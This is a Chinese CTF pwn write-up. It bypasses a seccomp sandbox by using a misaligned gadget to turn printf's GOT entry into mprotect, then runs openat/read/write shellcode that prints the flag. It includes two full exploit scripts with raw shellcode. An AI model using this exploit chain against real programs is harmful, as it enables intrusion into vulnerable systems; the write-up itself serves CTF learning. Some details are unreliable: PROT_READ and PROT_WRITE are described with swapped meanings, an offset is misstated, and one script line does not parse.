这是一道相对来说复杂的题目,但是出题人说题不难,当我做出来后,确实不难。主要考点有沙箱逃逸、magic_gadget。
查看保护
该题开了沙箱,禁掉了execve和open的系统调用,能猜到这题是要打orw的,虽然禁掉了open,但我们可以调用openat函数,效果是一样的。
IDA静态调试
伪c代码很简单,可以向buf缓冲区输入0x300字节,buf只有0x20,妥妥的溢出,而且没开canary。可以向602060输入0x300字节。接着关闭了标准输入,标准输出。再进入if语句,如果满足条件就跳转到602060执行。
解题思路
到这里思路已经很清晰了,存在栈溢出可以控制程序执行流,又可以向bss写入大量数据,并且可以跳转到bss执行输入的内容,那就直接放shellcode打orw嘛。呃、、等等,我好像没办法满足if语句的条件,不过这个好办,可以控制执行流的话直接覆盖返回地址为call_602060。不过,最关键的是,程序开了NX保护,并且这道题是部署在乌班图18.04上的,bss段和堆栈中均没有执行权限,输入的shellcode无法执行。怎么办,这时候又长知识了,可以使用mprotect系统调用函数去更改一个内存页的权限为可执行,这样问题就解决了。也就是说现在需要造一个mprotect函数,这里需要用到一个magic_gadget,如下。
add dword ptr [rbp-0x3d], ebx
nop dword ptr [eax+eax*1+0x0]
repz ret
核心在于add那一行,它把rbp的值减去0x30以后的值里放的内容加上ebx的值,它的威力还是很大的,可以篡改got表(计算出篡改函数和被篡改函数之间的偏移放入rbx,将被篡改函数的got表地址加上0x3d放入rbp),或者向bss段任意写入内容(bss段刚开始全为0,也会就是说我向其中加什么,bss段就是什么)
寻找magic_gadget
这个migic_gadget对应的机器码是015dc3,直接用这条命令在程序里找就行了,一般64位程序里都会有,参数是opcode。
利用magic_gadget造一个mprotect函数
要利用magic_gadget的前提就是要控制rbp和ebx,可以使用ret2csu。这里选择篡改printf函数的got表,仔细观察可以发现,程序里的printf函数是出题人精心布置的,它的三个参数正好是mprotect所需要的参数。
payload+=p64(csu_1)#就是一次普通的csu
payload+=p64(p_m_offset)#ebx中放两个函数间的偏移
payload+=p64(printf_got+0x3d)#rbp中放printf的got表,注意要加上0x3d
payload+=p64(0)*4
paylaod+=p64(magic_gadget)#执行magic
寻找两个函数间的偏移,偏移为如图0xb69a0
可以看到刚开始printf的got表是正常的
执行完后printf的got表将存放mprotect函数地址,见下图。
接着就通过printf函数执行mprotect,可以看到rdi,rsi,rdx参数正合适。
已经具有rwx的段了,只需要最后一步执行shellcode就可以得到flag
EXP
from tools import *
p,elf,libc=load('break')
context.log_level="debug"
#debug(p,0x400B8A)
magic_gadget=0x0000000000400738
p_m_offset=0xb69a0
printf_got=0x601028
call_printf=0x400AEA
csu_1=0x400B8A
call_bss=0x400B21
ret=0x400B94
#伪造mprotect函数,开辟具有可执行权限的bss段
payload=b'a'*0x28+
payload+=p64(csu_1)
payload+=p64(p_m_offset)
payload+=p64(printf_got+0x3d)
payload+=p64(0)*4
payload+=p64(magic_gadget)
payload+=p64(call_printf)#程序已经设计好的,执行完printf后会call_bss执行shellcode,得到flag
pause()
p.send(payload)
#push指令最多只能跟四字节数据,所以汇编这样写是错误的:"push 0x67616c662f pop rdi",只能先把数据复制到无用寄
#存器再把该寄存器入栈进行操作。
shellcode="""
mov rax,257
mov r8,0x67616c662f
push r8
mov rsi,rsp
xor rdi,rdi
xor rdx,rdx
syscall
xor rax,rax
mov rdi,3
mov rsi,0x602480
mov rdx,0x50
syscall
mov rax,1
mov rdi,2
mov rsi,0x602480
mov rdx,0x50
syscall
"""
payload="\x48\xC7\xC0\x01\x01\x00\x00\x49\xB8\x2F\x66\x6C\x61\x67\x00\x00\x00\x41\x50\x48\x89\xE6\x48\x31\xFF\x48\x31\xD2\x0F\x05\x48\x31\xC0\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC6\x88\x24\x60\x00\x48\xC7\xC2\x50\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC6\x88\x24\x60\x00\x48\xC7\xC2\x50\x00\x00\x00\x0F\x05"
pause()#沙箱禁掉了open,这里选择调用openat,效果一样
p.send(payload)#将shellcode放入bss段,以便后续执行
p.interactive()
注意
push指令最多只能跟四字节数据,所以shellcode这样写是错误的:"push 0x67616c662f pop rdi",只能先把数据复制到无用寄
存器再把该寄存器入栈进行操作。
我第一次的做法
身为萌新的我,人物设定注定是要走弯路的,当时没有看穿出题人的用意,printf函数根本没用上,在造mprotect函数的时候,就是看着哪个函数不顺眼就改谁的got表,当时是毫不犹豫地改了close函数。
exp
from tools import *
p,elf,libc=load('break')
#p=remote("10.197.2.35",3006)
context.log_level='debug'
#debug(p,0x400B94)
magic_offset1=0xaf70
magic_addr=0x0000000000400738
csu_1=0x400B8A
csu_2=0x400B70
bss_ye=0x602000
bss=0x602060
close=0x601030
callbss=0x400B18
#利用magic_gadget造mprotect
payload=b'a'*0x28
payload+=p64(csu_1)
payload+=p64(magic_offset1)
payload+=p64(close+0x3d)
payload+=p64(0)*4
payload+=p64(magic_addr)
#弯路由此开始,由于改的是close的got表,在调用mprotect函数时需要自己设定好参数,只能打一次完整csu
payload+=p64(csu_1)
payload+=p64(0)
payload+=p64(1)
payload+=p64(close)
payload+=p64(bss_ye)
payload+=p64(0x100000)
payload+=p64(7)
payload+=p64(csu_2)
"""
到这里已经改造出了rwx的bss段,但是程序会从csu2往下走到csu1,向外pop数据 ,因此还需要填充一些垃圾数据
在这里还有一个坑,因为我之后是把call rdx指令的地址放到栈中去执行bss段,而rdx里又是rbp减去一个偏移得到的地址,#所以必须要把rbp的值控制一下才行,而且在shellcode前还要放一个指向shellcode的地址。见下图。
"""
payload+=p64(0)*2
payload+=p64(0x602070)
payload+=p64(0)*4
payload+=p64(callbss)
pause()
p.send(payload)
payload=p64(0x602068)
payload+=b"\x49\xB8\x2F\x66\x6C\x61\x67\x00\x00\x00\x41\x50\x48\x89\xE6\x31\xD2\x31\xFF\x68\x01\x01\x00\x00\x58\x0F\x05\x31\xC0\x6A\x00\x5F\x6A\x50\x5A\x48\xC7\xC6\x48\x24\x60\x00\x0F\x05\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC6\x48\x24\x60\x00\x48\xC7\xC2\x50\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"
pause()
p.send(payload)
p.interactive()
'''
mov r8,0x67616c662f
push r8
mov rsi, rsp
xor edx, edx
xor edi, edi
push 257
pop rax
syscall
xor eax, eax
push 0
pop rdi
push 0x50
pop rdx
mov rsi,0x602448
syscall
mov rdi,2
mov rsi,0x602448
mov rdx,0x50
mov rax,1
syscall'''
通过分析这条指令,rbp减去0x10后得到一个地址A,这个地址指向的内容应该是shellcode的地址B,我让地址A为0x602060,在输入shellcode之前先放一个0x602068的地址也就是shellcode的地址到0x602060。现在也就是说rbp减去0x10后为0x602060,然后0x602060里放的是0x602068(shellcode),所以rbp应该被设置成0x602060加0x10也就是0x602070。这样便可以顺利执行了。
奇怪的知识又增长了
magic_gadget
它并不是特指某个代码段,而是一些具有奇效的代码片段的统称。本题中使用的magic_gadget其实正常情况下并不存在,是通过机器码错位得到的。详情见easyrop_2022胖哈勃春季赛 | ZIKH26's Blog。
mprotect函数
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
本题中mprotect函数的参数为(0x602000,0x1000,7)
参考链接:https://blog.csdn.net/roland_sun/article/details/33728955
orw函数的参数
本题中它们的参数分别是
openat(0,/flag,0)257 //注意openat的参数是绝对路径要加上根目录
read(openat返回值,bss段地址,0x50)0
write(标准错误流2,bss段地址,0x50)1
题目附件
链接:https://pan.baidu.com/s/1TUXgJw3mFw_dBhbfQSUAIQ
提取码:1234